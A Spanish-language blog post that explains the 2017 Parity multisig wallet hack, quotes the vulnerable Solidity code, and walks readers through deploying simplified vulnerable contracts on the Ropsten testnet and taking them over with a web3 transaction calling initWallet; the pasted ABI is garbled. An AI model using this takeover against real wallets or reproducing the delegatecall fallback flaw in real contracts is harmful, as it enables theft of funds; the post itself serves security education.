Hack del wallet multisig de Parity

in spanish •  6 years ago  (edited)

Por Albert Palau

Importancia de la seguridad en smart contracts, conocimientos de Solidity: assembly, fallback function, etc.

El 19 de julio de 2017, uno de los wallets más famosos de Ethereum, liderado por uno de los cofundadores de la plataforma, Gavin Wood, fue víctima de un hackeo por parte de un atacante anónimo, dando lugar al robo de unos 30 millones de USD [1]. En el siguiente link podéis encontrar un comunicado oficial de lo sucedido: https://paritytech.io/the-multi-sig-hack-a-postmortem. Pero, ¿qué pasó exactamente? En este artículo se expondrán los detalles técnicos y la vulnerabilidad que albergaban los wallets multisig, es decir, wallets que necesitaban más de una firma para liberar fondos. También se han desarrollado simples smart contracts para que podáis explotar la vulnerabilidad vosotros mismos. La comunidad debe concienciarse de la gran importancia de la seguridad que debe existir en el desarrollo de smart contracts.



Antes de nada, para el caso que se quiere exponer, es importante conocer cómo están diseñadas dos piezas fundamentales en el funcionamiento de estos wallets:


Versión del código con el bug: 

https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b-17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol 

En la blockchain de Ethereum se crea una única versión de la librería, que contiene la mayor parte de la lógica, y después se crean los wallets, por parte de los usuarios que hacen uso de esta librería. Al ser contratos más pequeños, argumentan, el coste en GAS (y por lo tanto en ETH) necesario para desplegar estos contratos era menor. Al, potencialmente, desplegar muchos contratos multisig, este argumento tiene sentido.

Si revisamos el código en Github de la versión vulnerable, veremos que en el constructor del contrato wallet realiza lo siguiente (línea 399): 

function Wallet(address[] _owners, uint _required, uint _daylimit) {  // Signature of the Wallet Library’s init function  bytes4 sig = bytes4(sha3(“initWallet(address[],uint256,uint256)”));  address target = _walletLibrary;  // Compute the size of the call data : arrays has 2  // 32bytes for offset and length, plus 32bytes per element ;  // plus 2 32bytes for each uint  uint argarraysize = (2 + _owners.length);  uint argsize = (2 + argarraysize) * 32;  assembly {  // Add the signature first to memory  mstore(0x0, sig)  // Add the call data, which is at the end of the  // code  codecopy(0x4, sub(codesize, argsize), argsize)  // Delegate call to the library  delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0) } }

Observar que se hace un delegatecall a la dirección target, que es la dirección de la WalletLibrary. En concreto, se llama a la función initWallet. La función delegatecall lo que hace es delegar la ejecución de código a otro contrato pero sobre los datos (variables de estado) de quien llama [2]. Esta función de la librería (línea 216):

function initWallet(address[] _owners, uint _required, uint _daylimit) {  initDaylimit(_daylimit);  initMultiowned(_owners, _required); } .... function initMultiowned(address[] _owners, uint _required) {  m_numOwners = _owners.length + 1;  m_owners[1] = uint(msg.sender);  m_ownerIndex[uint(msg.sender)] = 1;  for (uint i = 0; i < _owners.length; ++i)  {  m_owners[2 + i] = uint(_owners[i]);  m_ownerIndex[uint(_owners[i])] = 2 + i; }m_required = _required; }

Se encarga de inicializar el nuevo wallet creado, asignando a los propietarios que recibe como parámetro. Hasta aquí no hay ningún problema, puesto que la función initWallet únicamente se ejecutaría cuando se inicializa el wallet.

Sin embargo, el contrato wallet define la siguiente función (línea 424):

function() payable {  // just being sent some cash?  if (msg.value > 0)  Deposit(msg.sender, msg.value);  else if (msg.data.length > 0)  _walletLibrary.delegatecall(msg.data); }

Esta función anónima (sin nombre) es lo que se llama la función Fallback, que se ejecuta cuando se llama al contrato con una función que no reconoce o sin ningún dato (campo data vacío). Si la transacción que ejecuta el contrato tiene vinculados Ethers, los deposita. Sin embargo, si no se envían Ethers sino que se llama a alguna función, lo delega, como en la función constructora, a la librería wallet… Y aquí se encuentra el problema: _walletLibrary.delegatecall(msg.data); Esta línea hace pública cualquier función de la librería, incluida la initWallet, haciendo posible que un atacante se haga propietario del wallet y sus fondos. Para entender mejor el problema, vamos a desplegar nuestros contratos y realizar el hackeo por nosotros mismos siguiendo la estrategia expuesta.

Código vulnerable de ejemplo – WalletLibrary: pragma solidity ^0.4.19; contract WalletLibrary {  address owner;  function initWallet(address _owner) public {  owner = _owner;  } } Código vulnerable de ejemplo – Wallet: pragma solidity ^0.4.19; contract Wallet {  address public owner;  address public walletLibrary;  function Wallet(address _owner, address _walletLibrary) public {  walletLibrary = _walletLibrary;  bytes4 sig = bytes4(keccak256(“initWallet(address)”));  assembly {  mstore(0x0, sig)  mstore(0x4, _owner)  delegatecall(sub(gas, 10000), _walletLibrary, 0x0, add(0x4,32), 0x0, 0x0)  pop } }  function () public payable {  walletLibrary.delegatecall(msg.data); } }

Para probarlo, podéis utilizar Remix (https://remix.ethereum.org) y Metamask en la testnet de Ropsten, por ejemplo. Podéis solicitar Ether gratis en el faucet de Metamask: https://faucet.metamask.io.

Los pasos a seguir son:

1. Copiar el código de nuestra librería de ejemplo en Remix, compilar y crear el contrato:





Se nos abrirá la ventana emergente de MetaMask para confirmar la transacción:



Una vez minada, nos apuntamos la dirección asignada a nuestro contrato. Para seguir con el ejemplo, mi dirección de contrato es: 0x92dda1ae37a6fc37a5460d2015df8e6085c598c7



2. Hacemos lo mismo para nuestro wallet de ejemplo, con la particularidad de que al crear el contrato le deberemos pasar la dirección del owner y la del contrato anterior: En mi caso ha sido: “0x73EA48C582A25f221B7B57AD2D4404077B067742”,”0x92dda1ae37a6fc37a5460d2015df8e6085c598c7”

3. Ahora que ya tenemos nuestros contratos desplegados, vamos a interaccionar con nuestro wallet para tomar el control. Es decir, modificar la variable owner a una dirección nuestra. Para eso, vamos a utilizar el objeto JavaScript web3 que nos proporciona MetaMask. Vamos a las developer tools de nuestro navegador, con MetaMask desbloqueado, y nos aseguramos de tener disponible el objeto:

Acto seguido, instanciamos nuestro objeto wallet para poder interaccionar con él:

var abi = [ { }, { }, { “constant”: true, “inputs”: [], “name”: “walletLibrary”, “outputs”: [ }, { } ] “payable”: false, “stateMutability”: “nonpayable”, “type”: “constructor” “payable”: true, “stateMutability”: “payable”, “type”: “fallback” { } ], “name”: “”, “type”: “address” “payable”: false, “stateMutability”: “view”, “type”: “function” “constant”: true, “inputs”: [], “name”: “owner”, “outputs”: [ { } ], “name”: “”, “type”: “address” “payable”: false, “stateMutability”: “view”, “type”: “function” “inputs”: [ { }, { } ], “name”: “_owner”, “type”: “address” “name”: “_walletLibrary”, “type”: “address” var wallet = web3.eth.contract(abi) wallet = wallet.at(“0x941c7be004dc1d0c664262f5ac5c801f87c0d75d”)

Sustituir la última línea con la dirección de vuestro contrato wallet.

Ya podemos consultar el owner de nuestro wallet ejecutando:

wallet.owner(function(err, value){console.log(value)})

Observamos que el owner es el que hemos pasado como argumento en la creación del contrato. Por último, lo que haremos, y es lo que hizo el atacante que aprovechó esta vulnerabilidad, es enviar una transacción al contrato wallet llamando a la función initWallet, que al no estar definida en el propio contrato, ejecutará la función fallback, que ejecutará, mediante delegatecall, la función initWallet de la librería y que cambiará el owner. El flujo a alto nivel que hará la transacción será:



Transacción: function_sign=web3.sha3(“initWallet(address)”).substr(2,8) web3.eth.sendTransaction({to: “0x941c7be004dc1d0c664262f5ac5c801f87c0d75d”, data: function_sign + “0000000000000000000000004cA590887287dB269BB6Ed5035154C0980465e32”}, function(){})

Modificar la dirección del to por la de vuestro contrato wallet. Metamask nos pedirá confirmación:



Podremos ver que la transacción se ha minado yendo a https://ropsten.etherscan.io y buscando por la dirección del contrato:

Authors get paid when people like you upvote their post.
If you enjoyed what you read here, create your account today and start earning FREE STEEM!